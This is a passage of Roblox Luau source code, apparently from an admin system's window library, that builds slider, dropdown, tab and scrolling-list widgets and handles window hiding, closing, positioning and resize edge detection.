true\n\t\t\t\t\t\tbox.Text = change\n\t\t\t\t\t\tignore = false\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\n\t\t\tnew:SetSpecial(\"SetValue\",function(ignore, newValue) box.Text = newValue end)\n\t\tend\n\n\t\tif class == \"Slider\" then\n\t\t\tlocal mouseIsIn = false\n\t\t\tlocal posValue = new.Percentage\n\t\t\tlocal slider = new.Slider\n\t\t\tlocal bar = new.SliderBar\n\t\t\tlocal drag = new.Drag\n\t\t\tlocal moving = false\n\t\t\tlocal value = 0\n\t\t\tlocal onSlide = functionify(data.OnSlide, new)\n\n\t\t\tbar.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tslider.ZIndex = bar.ZIndex+1\n\t\t\tdrag.ZIndex = slider.ZIndex+1\n\t\t\tdrag.Active = true\n\n\t\t\tif data.Value then\n\t\t\t\tslider.Position = UDim2.new(0.5, -10, 0.5, -10)\n\t\t\t\tdrag.Position = slider.Position\n\t\t\tend\n\n\t\t\tbar.InputBegan:Connect(function(input)\n\t\t\t\tif not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then\n\t\t\t\t\tvalue = ((input.Position.X) - (new.AbsolutePosition.X)) / (new.AbsoluteSize.X)\n\n\t\t\t\t\tif value < 0 then\n\t\t\t\t\t\tvalue = 0\n\t\t\t\t\telseif value > 1 then\n\t\t\t\t\t\tvalue = 1\n\t\t\t\t\tend\n\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tdrag.Position = slider.Position\n\t\t\t\t\tposValue.Value = value\n\n\t\t\t\t\tif onSlide then\n\t\t\t\t\t\tonSlide(value)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tdrag.DragBegin:Connect(function()\n\t\t\t\tmoving = true\n\t\t\tend)\n\n\t\t\tdrag.DragStopped:Connect(function()\n\t\t\t\tmoving = false\n\t\t\t\tdrag.Position = slider.Position\n\t\t\tend)\n\n\t\t\tdrag.Changed:Connect(function()\n\t\t\t\tif moving then\n\t\t\t\t\tvalue = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)\n\n\t\t\t\t\tif value < 0 then\n\t\t\t\t\t\tvalue = 0\n\t\t\t\t\telseif value > 1 then\n\t\t\t\t\t\tvalue = 1\n\t\t\t\t\tend\n\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tposValue.Value = value\n\n\t\t\t\t\tif onSlide then\n\t\t\t\t\t\tonSlide(value)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tnew:SetSpecial(\"SetValue\",function(ignore, newValue)\n\t\t\t\tif newValue and tonumber(newValue) then\n\t\t\t\t\tvalue = tonumber(newValue)\n\t\t\t\t\tposValue.Value = value\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tdrag.Position = slider.Position\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\n\t\tif class == \"Dropdown\" then\n\t\t\tlocal menu = new.Menu\n\t\t\tlocal downImg = new.Down\n\t\t\tlocal selected = new.dSelected\n\t\t\tlocal options = data.Options\n\t\t\tlocal curSelected = data.Selected or data.Selection\n\t\t\tlocal onSelect = functionify(data.OnSelection or data.OnSelect or function()end)\n\t\t\tlocal textProps = data.TextProperties\n\t\t\tlocal scroller = create(\"ScrollingFrame\", {\n\t\t\t\tParent = menu;\n\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\tZIndex = 100;\n\t\t\t})\n\n\t\t\tmenu.ZIndex = scroller.ZIndex\n\t\t\tmenu.Parent = GUI\n\t\t\tmenu.Visible = false\n\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);\n\t\t\tmenu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3\n\n\t\t\tif data.TextAlignment then\n\t\t\t\tselected.TextXAlignment = data.TextAlignment\n\t\t\t\tselected.Position = UDim2.new(0, 30, 0, 0);\n\t\t\tend\n\n\t\t\tif data.NoArrow then\n\t\t\t\tdownImg.Visible = false\n\t\t\tend\n\n\t\t\tnew:SetSpecial(\"MenuContainer\", menu)\n\n\t\t\tnew.Changed:Connect(function(p)\n\t\t\t\tif p == \"AbsolutePosition\" and menu.Visible then\n\t\t\t\t\tmenu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)\n\t\t\t\telseif p == \"AbsoluteSize\" or p == \"Parent\" then\n\t\t\t\t\tdownImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);\n\t\t\t\t\tif data.TextAlignment == \"Right\" then\n\t\t\t\t\t\tdownImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))\n\t\t\t\t\t\tselected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);\n\t\t\t\t\telse\n\t\t\t\t\t\tdownImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))\n\t\t\t\t\tend\n\n\t\t\t\t\tselected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);\n\n\t\t\t\t\tif options and #options <= 6 then\n\t\t\t\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);\n\t\t\t\t\telse\n\t\t\t\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);\n\t\t\t\t\t\tscroller:ResizeCanvas(false, true);\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tselected.ZIndex = new.ZIndex\n\t\t\tdownImg.ZIndex = new.ZIndex\n\n\t\t\tif textProps then\n\t\t\t\tfor i,v in textProps do\n\t\t\t\t\tselected[i] = v\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif options then\n\t\t\t\tfor i,v in options do\n\t\t\t\t\tlocal button = scroller:Add(\"TextButton\", {\n\t\t\t\t\t\tText = ` {v}`;\n\t\t\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\t\t\tPosition = UDim2.new(0, 5, 0, 30*(i-1));\n\t\t\t\t\t\tZIndex = menu.ZIndex;\n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tOnClick = function()\n\t\t\t\t\t\t\tselected.Text = v;\n\t\t\t\t\t\t\tonSelect(v, new);\n\t\t\t\t\t\t\tmenu.Visible = false\n\t\t\t\t\t\tend\n\t\t\t\t\t})\n\n\t\t\t\t\tif textProps then\n\t\t\t\t\t\tfor i,v in textProps do\n\t\t\t\t\t\t\tbutton[i] = v\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif curSelected then\n\t\t\t\t\tselected.Text = curSelected\n\t\t\t\telse\n\t\t\t\t\tselected.Text = \"No Selection\"\n\t\t\t\tend\n\n\t\t\t\tlocal function showMenu()\n\t\t\t\t\tmenu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)\n\t\t\t\t\tmenu.Visible = not menu.Visible\n\t\t\t\tend\n\n\t\t\t\tselected.MouseButton1Down:Connect(function() clickSound:Play() RippleEffect(selected) showMenu() end)\n\t\t\t\tdownImg.MouseButton1Down:Connect(function() RippleEffect(selected) showMenu() end)\n\t\t\tend\n\t\tend\n\n\t\tif class == \"TabFrame\" then\n\t\t\tlocal buttonsTab = {};\n\t\t\tlocal buttons = create(\"ScrollingFrame\", nil, new.Buttons)\n\t\t\tlocal frames = new.Frames\n\t\t\tlocal numTabs = 0\n\t\t\tlocal buttonSize = data.ButtonSize or 60\n\n\t\t\tnew.BackgroundTransparency = data.BackgroundTransparency or 1\n\t\t\tbuttons.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tframes.ZIndex = buttons.ZIndex\n\n\t\t\tnew:SetSpecial(\"GetTab\", function(ignore, name)\n\t\t\t\treturn frames:FindFirstChild(name)\n\t\t\tend)\n\n\t\t\tnew:SetSpecial(\"NewTab\", function(ignore, name, data)\n\t\t\t\tlocal data = data or {}\n\t\t\t\t--local numChildren = #frames:GetChildren()\n\t\t\t\tlocal nextPos = getNextPos(buttons);\n\t\t\t\tlocal textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)\n\t\t\t\tlocal oTextTrans = data.TextTransparency\n\t\t\t\tlocal isOpen = false\n\t\t\t\tlocal disabled = false\n\t\t\t\tlocal tabFrame = create(\"ScrollingFrame\",{\n\t\t\t\t\tName = name;\n\t\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t\tBackgroundTransparency = data.FrameTransparency or data.Transparency;\n\t\t\t\t\tBackgroundColor3 = data.Color or dSecondaryBackground;\n\t\t\t\t\tZIndex = buttons.ZIndex;\n\t\t\t\t\tVisible = false;\n\t\t\t\t})\n\n\t\t\t\tlocal tabButton = create(\"TextButton\",{\n\t\t\t\t\tName = name;\n\t\t\t\t\tText = data.Text or name;\n\t\t\t\t\tSize = UDim2.new(0, textSize.X+20, 1, 0);\n\t\t\t\t\tZIndex = buttons.ZIndex;\n\t\t\t\t\tPosition = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);\n\t\t\t\t\tTextColor3 = data.TextColor;\n\t\t\t\t\tBackgroundTransparency = 0.7;\n\t\t\t\t\tTextTransparency = data.TextTransparency;\n\t\t\t\t\tBackgroundColor3 = data.Color or dSecondaryBackground;\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t})\n\n\t\t\t\ttabFrame:SetSpecial(\"FocusTab\",function()\n\t\t\t\t\tfor i,v in buttonsTab do\n\t\t\t\t\t\tif isGui(v) then\n\t\t\t\t\t\t\tv.BackgroundTransparency = (v:IsDisabled() and 0.9) or 0.7\n\t\t\t\t\t\t\tv.TextTransparency = (v:IsDisabled() and 0.9) or 0.7\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tfor i,v in frames:GetChildren() do\n\t\t\t\t\t\tif isGui(v) then\n\t\t\t\t\t\t\tv.Visible = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttabButton.BackgroundTransparency = data.Transparency or 0\n\t\t\t\t\ttabButton.TextTransparency = data.TextTransparency or 0\n\t\t\t\t\ttabFrame.Visible = true\n\n\t\t\t\t\tif data.OnFocus then\n\t\t\t\t\t\tdata.OnFocus(true)\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tif numTabs == 0 then\n\t\t\t\t\ttabFrame.Visible = true\n\t\t\t\t\ttabButton.BackgroundTransparency = data.Transparency or 0\n\t\t\t\tend\n\n\t\t\t\ttabButton.MouseButton1Down:Connect(function()\n\t\t\t\t\tif not disabled then\n\t\t\t\t\t\ttabFrame:FocusTab()\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\ttabButton.Parent = buttons\n\t\t\t\ttabFrame.Parent = frames\n\t\t\t\tbuttons:ResizeCanvas(true, false)\n\n\t\t\t\ttabFrame:SetSpecial(\"Disable\", function()\n\t\t\t\t\tdisabled = true;\n\t\t\t\t\ttabButton.BackgroundTransparency = 0.9;\n\t\t\t\t\ttabButton.TextTransparency = 0.9\n\t\t\t\tend)\n\n\t\t\t\ttabFrame:SetSpecial(\"Enable\", function()\n\t\t\t\t\tdisabled = false;\n\t\t\t\t\ttabButton.BackgroundTransparency = 0.7;\n\t\t\t\t\ttabButton.TextTransparency = data.TextTransparency or 0;\n\t\t\t\tend)\n\n\t\t\t\ttabButton:SetSpecial(\"IsDisabled\", function()\n\t\t\t\t\treturn disabled;\n\t\t\t\tend)\n\n\t\t\t\ttable.insert(buttonsTab, tabButton);\n\n\t\t\t\tnumTabs = numTabs+1;\n\n\t\t\t\treturn tabFrame,tabButton\n\t\t\tend)\n\t\tend\n\n\t\tif class == \"ScrollingFrame\" then\n\t\t\tlocal genning = false\n\t\t\tif not data.ScrollBarThickness then\n\t\t\t\tdata.ScrollBarThickness = dScrollBar\n\t\t\tend\n\n\t\t\tnew:SetSpecial(\"GenerateList\", function(obj, list, labelProperties, bottom)\n\t\t\t\tlocal list = list or obj;\n\t\t\t\tlocal genHold = {}\n\t\t\t\tlocal entProps = labelProperties or {}\n\n\t\t\t\tgenning = genHold\n\t\t\t\tnew:ClearAllChildren()\n\n\t\t\t\tlocal num = 0\n\t\t\t\tfor i,v in list do\n\t\t\t\t\tlocal text = v;\n\t\t\t\t\tlocal desc;\n\t\t\t\t\tlocal color\n\t\t\t\t\tlocal richText;\n\n\t\t\t\t\tif type(v) == \"table\" then\n\t\t\t\t\t\ttext = v.Text\n\t\t\t\t\t\tdesc = v.Desc\n\t\t\t\t\t\tcolor = v.Color\n\n\t\t\t\t\t\tif v.RichTextAllowed or entProps.RichTextAllowed then\n\t\t\t\t\t\t\trichText = true\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal label = create(\"TextLabel\",{\n\t\t\t\t\t\tText = ` {text}`;\n\t\t\t\t\t\tToolTip = desc;\n\t\t\t\t\t\tSize = UDim2.new(1,-5,0,(entProps.ySize or 20));\n\t\t\t\t\t\tVisible = true;\n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tFont = \"SourceSans\";\n\t\t\t\t\t\tTextSize = 18;\n\t\t\t\t\t\tTextStrokeTransparency = 0.8;\n\t\t\t\t\t\tTextXAlignment = \"Left\";\n\t\t\t\t\t\tPosition = UDim2.new(0,0,0,num*(entProps.ySize or 20));\n\t\t\t\t\t\tRichText = richText or false;\n\t\t\t\t\t})\n\n\t\t\t\t\tif color then\n\t\t\t\t\t\tlabel.TextColor3 = color\n\t\t\t\t\tend\n\n\t\t\t\t\tif labelProperties then\n\t\t\t\t\t\tfor i,v in entProps do\n\t\t\t\t\t\t\tif checkProperty(label, i) then\n\t\t\t\t\t\t\t\tlabel[i] = v\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif genning == genHold then\n\t\t\t\t\t\tlabel.Parent = new;\n\t\t\t\t\telse\n\t\t\t\t\t\tlabel:Destroy()\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\n\t\t\t\t\tnum = num+1\n\n\t\t\t\t\tif data.Delay then\n\t\t\t\t\t\tif type(data.Delay) == \"number\" then\n\t\t\t\t\t\t\ttask.wait(data.Delay)\n\t\t\t\t\t\telseif i%100 == 0 then\n\t\t\t\t\t\t\ttask.wait(0.1)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tnew:ResizeCanvas(false, true, false, bottom, 5, 5, 50)\n\t\t\t\tgenning = nil\n\t\t\tend)\n\n\t\t\tnew:SetSpecial(\"ResizeCanvas\", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)\n\t\t\t\tlocal xPadding,yPadding = data.xPadding or 5, data.yPadding or 5\n\t\t\t\tlocal newY, newX = 0,0\n\n\t\t\t\tif not onX and not onY then onX = false onY = true end\n\t\t\t\tfor i,v in new:GetChildren() do\n\t\t\t\t\tif v:IsA(\"GuiObject\") then\n\t\t\t\t\t\tif onY then\n\t\t\t\t\t\t\tv.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)\n\t\t\t\t\t\t\tv.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tif onX then\n\t\t\t\t\t\t\tv.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)\n\t\t\t\t\t\t\tv.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tlocal yLower = v.Position.Y.Offset + v.Size.Y.Offset\n\t\t\t\t\t\tlocal xLower = v.Position.X.Offset + v.Size.X.Offset\n\t\t\t\t\t\tnewY = math.max(newY, yLower)\n\t\t\t\t\t\tnewX = math.max(newX, xLower)\n\t\t\t\t\t\tif modBreak then\n\t\t\t\t\t\t\tif i%modBreak == 0 then\n\t\t\t\t\t\t\t\ttask.wait(1/60)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif onY then\n\t\t\t\t\tnew.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)\n\t\t\t\tend\n\n\t\t\t\tif onX then\n\t\t\t\t\tnew.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)\n\t\t\t\tend\n\n\t\t\t\tif xMax then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)\n\t\t\t\tend\n\n\t\t\t\tif yMax then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)\n\t\t\t\tend\n\t\t\tend)\n\n\t\t\tif data.List then new:GenerateList(data.List) data.List = nil end\n\t\tend\n\n\t\tLoadChildren(new, data.Content or data.Children)\n\n\t\tdata.Children = nil\n\t\tdata.Content = nil\n\n\t\tfor i,v in data do\n\t\t\tif checkProperty(new, i) then\n\t\t\t\tnew[i] = v\n\t\t\tend\n\t\tend\n\n\t\tnew.Parent = parent\n\n\t\treturn apiIfy(new, data, class),data\n\tend\n\n\tfunction apiIfy(gui, data, class)\n\t\tlocal newGui = service.Wrap(gui)\n\t\tgui:SetSpecial(\"Object\", gui)\n\t\tgui:SetSpecial(\"SetPosition\", function(ignore, newPos) gui.Position = newPos end)\n\t\tgui:SetSpecial(\"SetSize\", function(ingore, newSize) gui.Size = newSize end)\n\t\tgui:SetSpecial(\"Add\", function(ignore, class, data)\n\t\t\tif not data then data = class class = ignore end\n\t\t\tlocal new = create(class,data);\n\t\t\tnew.Parent = gui;\n\t\t\treturn apiIfy(new, data, class)\n\t\tend)\n\n\t\tgui:SetSpecial(\"Copy\", function(ignore, class, gotData)\n\t\t\tlocal newData = {}\n\t\t\tlocal new\n\n\t\t\tfor i,v in data do\n\t\t\t\tnewData[i] = v\n\t\t\tend\n\n\t\t\tfor i,v in gotData do\n\t\t\t\tnewData[i] = v\n\t\t\tend\n\n\t\t\tnew = create(class or data.Class or gui.ClassName, newData);\n\t\t\tnew.Parent = gotData.Parent or gui.Parent;\n\t\t\treturn apiIfy(new, data, class)\n\t\tend)\n\n\t\treturn newGui\n\tend\n\n\tfunction doClose()\n\t\tif not isClosed then\n\t\t\tisClosed = true\n\t\t\tfor _, thing in Drag:GetChildren() do\n\t\t\t\tif thing ~= Main then\n\t\t\t\t\tthing:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\t\tDrag:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.15)\n\t\t\tMain.ClipsDescendants = true\n\t\t\tMain:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.15)\n\t\t\ttask.wait(0.12)\n\t\t\tgTable:Destroy()\n\t\tend\n\tend\n\n\tfunction isVisible()\n\t\treturn Main.Visible\n\tend\n\n\tlocal hideLabel = Hide:FindFirstChild(\"TextLabel\")\n\tfunction doHide(doHide)\n\t\tlocal origLH = Hide.LineHeight\n\t\tif doHide or (doHide == nil and Main.Visible) then\n\t\t\tdragSize = Drag.Size\n\t\t\tMain.Visible = false\n\t\t\tMain.Glass.Parent = Drag\n\t\t\tDrag.BackgroundTransparency = Main.BackgroundTransparency\n\t\t\tDrag.BackgroundColor3 = Main.BackgroundColor3\n\t\t\tDrag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)\n\n\t\t\tif hideLabel then\n\t\t\t\thideLabel.Icon.Image = \"rbxassetid://3523249191\"\n\t\t\telse\n\t\t\t\tHide.Icon.Image = \"rbxassetid://3523249191\"\n\t\t\tend\n\n\t\t\tHide.LineHeight = origLH\n\t\t\tgTable.Minimized = true\n\t\telseif doHide == false or (doHide == nil and not Main.Visible) then\n\t\t\tMain.Visible = true\n\t\t\tDrag.Glass.Parent = Main\n\t\t\tDrag.BackgroundTransparency = 1\n\t\t\tDrag.Size = dragSize or Drag.Size\n\n\t\t\tif hideLabel then\n\t\t\t\thideLabel.Icon.Image = \"rbxassetid://3523250728\"\n\t\t\telse\n\t\t\t\tHide.Icon.Image = \"rbxassetid://3523250728\"\n\t\t\tend\n\n\t\t\tHide.LineHeight = origLH\n\t\t\tgTable.Minimized = false\n\t\tend\n\n\t\tif onMinimize then\n\t\t\tonMinimize(Main.Visible)\n\t\tend\n\n\t\tif Walls then\n\t\t\twallPosition()\n\t\tend\n\tend\n\n\tfunction isInFrame(x, y, frame)\n\t\tif x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\n\n\tfunction wallPosition()\n\t\tif gTable.Active then\n\t\t\tlocal x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y\n\t\t\tlocal abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y\n\t\t\tlocal ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y\n\n\t\t\tif x < 0 then\n\t\t\t\tDrag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)\n\t\t\tend\n\n\t\t\tif y < 0 then\n\t\t\t\tDrag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)\n\t\t\tend\n\n\t\t\tif x + abx > gx then\n\t\t\t\tDrag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)\n\t\t\tend\n\n\t\t\tif y + ySize > gy then\n\t\t\t\tDrag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)\n\t\t\tend\n\t\tend\n\tend\n\n\tfunction setSize(newSize)\n\t\tif newSize and type(newSize) == \"table\" then\n\t\t\tif newSize[1] < 50 then newSize[1] = 50 end\n\t\t\tif newSize[2] < 50 then newSize[2] = 50 end\n\n\t\t\tDrag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset)\n\t\t\tMain.Size = UDim2.new(1,0,0,newSize[2])\n\t\tend\n\tend\n\n\tfunction setPosition(newPos)\n\t\tif newPos and typeof(newPos) == \"UDim2\" then\n\t\t\tDrag.Position = newPos\n\t\telseif newPos and type(newPos) == \"table\" then\n\t\t\tDrag.Position = UDim2.new(0, newPos[1], 0, newPos[2])\n\t\telseif Size and not newPos then\n\t\t\tDrag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)\n\t\tend\n\tend\n\n\tif Name then\n\t\tgTable.Name = Name\n\t\tif data.AllowMultiple ~= nil and data.AllowMultiple == false then\n\t\t\tlocal found, num = client.UI.Get(Name, GUI, true)\n\t\t\tif found then\n\t\t\t\tdoClose()\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend\n\tend\n\n\tif Size then\n\t\tsetSize(Size)\n\tend\n\n\tif Position then\n\t\tsetPosition(Position)\n\tend\n\n\tif Title then\n\t\tTitlef.Text = Title\n\tend\n\n\tif CanKeepAlive or not ResetOnSpawn then\n\t\tgTable.CanKeepAlive = true\n\t\tGUI.ResetOnSpawn = false\n\telseif ResetOnSpawn then\n\t\tgTable.CanKeepAlive = false\n\t\tGUI.ResetOnSpawn = true\n\tend\n\n\tif Icon then\n\t\tIconf.Visible = true\n\t\tIconf.Image = Icon\n\tend\n\n\tif CanvasSize then\n\t\tScrollFrame.CanvasSize = CanvasSize\n\tend\n\n\tif noClose then\n\t\tClose.Visible = false\n\t\tRefresh.Position = Hide.Position\n\t\tHide.Position = Close.Position\n\tend\n\n\tif noHide then\n\t\tHide.Visible = false\n\t\tRefresh.Position = Hide.Position\n\tend\n\n\tif Walls then\n\t\tDrag.DragStopped:Connect(function()\n\t\t\twallPosition()\n\t\tend)\n\tend\n\n\tif onRefresh then\n\t\tlocal debounce = false\n\t\tfunction DoRefresh()\n\t\t\tif not Refreshing then\n\t\t\t\tlocal done = false\n\t\t\t\tRefreshing = true\n\n\t\t\t\ttask.spawn(function()\n\t\t\t\t\twhile gTable.Active and not done do\n\t\t\t\t\t\tfor i = 0,180,10 do\n\t\t\t\t\t\t\trSpinner.Rotation = -i\n\t\t\t\t\t\t\ttask.wait(1/60)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tonRefresh()\n\t\t\t\ttask.wait(1)\n\t\t\t\tdone = true\n\t\t\t\tRefreshing = false\n\t\t\tend\n\t\tend\n\n\t\tRefresh.MouseButton1Down:Connect(function()\n\t\t\tclickSound:Play()\n\t\t\tRippleEffect(Refresh)\n\t\t\tif not debounce then\n\t\t\t\tdebounce = true\n\t\t\t\tDoRefresh()\n\t\t\t\tdebounce = false\n\t\t\tend\n\t\tend)\n\n\t\tTitlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)\n\telse\n\t\tRefresh.Visible = false\n\tend\n\n\tif iconClicked then\n\t\tIconf.MouseButton1Down(function()\n\t\t\tclickSound:Play()\n\t\t\tRippleEffect(Iconf)\n\t\t\ticonClicked(data, GUI, Iconf)\n\t\tend)\n\tend\n\n\tif Menu then\n\t\tdata.Menu.Text = \"\"\n\t\tdata.Menu.Parent = Main\n\t\tdata.Menu.Size = UDim2.new(1,-10,0,25)\n\t\tdata.Menu.Position = UDim2.new(0,5,0,25)\n\t\tScrollFrame.Size = UDim2.new(1,-10,1,-55)\n\t\tScrollFrame.Position = UDim2.new(0,5,0,50)\n\t\tdata.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)\n\t\tdata.Menu.BorderSizePixel = 0\n\t\tcreate(\"TextLabel\",data.Menu)\n\tend\n\n\tif not SizeLocked then\n\t\tlocal startXPos = Drag.AbsolutePosition.X\n\t\tlocal startYPos = Drag.AbsolutePosition.Y\n\t\tlocal startXSize = Drag.AbsoluteSize.X\n\t\tlocal startYSize = Drag.AbsoluteSize.Y\n\t\tlocal vars = client.Variables\n\t\tlocal newIcon\n\t\tlocal inFrame\n\t\tlocal ReallyInFrame\n\n\t\tlocal function readify(obj)\n\t\t\tobj.MouseEnter:Connect(function()\n\t\t\t\tReallyInFrame = obj\n\t\t\tend)\n\n\t\t\tobj.MouseLeave:Connect(function()\n\t\t\t\tif ReallyInFrame == obj then\n\t\t\t\t\tReallyInFrame = nil\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\n\t\t--[[\n\t\treadify(Drag)\n\t\treadify(ScrollFrame)\n\t\treadify(TopRight)\n\t\treadify(TopLeft)\n\t\treadify(RightCorner)\n\t\treadify(LeftCorner)\n\t\treadify(RightSide)\n\t\treadify(LeftSide)\n\t\treadify(Bottom)\n\t\treadify(Top)\n\t\t--]]\n\n\t\tfunction checkMouse(x, y) --// Update later to remove frame by frame pos checking\n\t\t\tif gTable.Active and Main.Visible then\n\t\t\t\tif isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then\n\t\t\t\t\tinFrame = nil\n\t\t\t\t\tnewIcon = nil\n\t\t\t\telseif isInFrame(x, y, TopRight) then\n\t\t\t\t\tinFrame = \"TopRight\"\n\t\t\t\t\tnewIcon = MouseIcons.TopRight\n\t\t\t\telseif isInFrame(x, y, TopLeft) then\n\t\t\t\t\tinFrame = \"TopLeft\"\n\t\t\t\t\tnewIcon = MouseIcons.TopLeft\n\t\t\t\telseif isInFrame(x, y, RightCorner) then\n\t\t\t\t\tinFrame = \"RightCorner\"\n\t\t\t\t\tnewIcon = MouseIcons.RightCorner\n\t\t\t\telseif isInFrame(x, y, LeftCorner) then\n\t\t\t\t\tinFrame = \"LeftCorner\"\n\t\t\t\t\tnewIcon = MouseIcons.LeftCorner\n\t\t\t\telseif isInFrame(x, y, RightSide) then\n\t\t\t\t\tinFrame = \"RightSide\"\n\t\t\t\t\tnewIcon = MouseIcons.Horizontal\n\t\t\t\telseif isInFrame(x, y, LeftSide) then\n\t\t\t\t\tinFrame = \"LeftSide\"\n\t\t\t\t\tnewIcon = MouseIcons.Horizontal\n\t\t\t\telseif isInFrame(x, y, Bottom) then\n\t\t\t\t\tinFrame = \"Bottom\"\n\t\t\t\t\tnewIcon = MouseIcons.Vertical\n\t\t\t\telseif isInFrame(x, y, Top) then\n\t\t\t\t\tinFrame = \"Top\"\n\t\t\t\t\tnewIcon = MouseIcons.Vertical\n\t\t\t\telse\n\t\t\t\t\tinFrame = nil\n\t\t\t\t\tnewIcon = nil\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tinFrame = nil\n\t\t\tend\n\n\t\t\tif (not 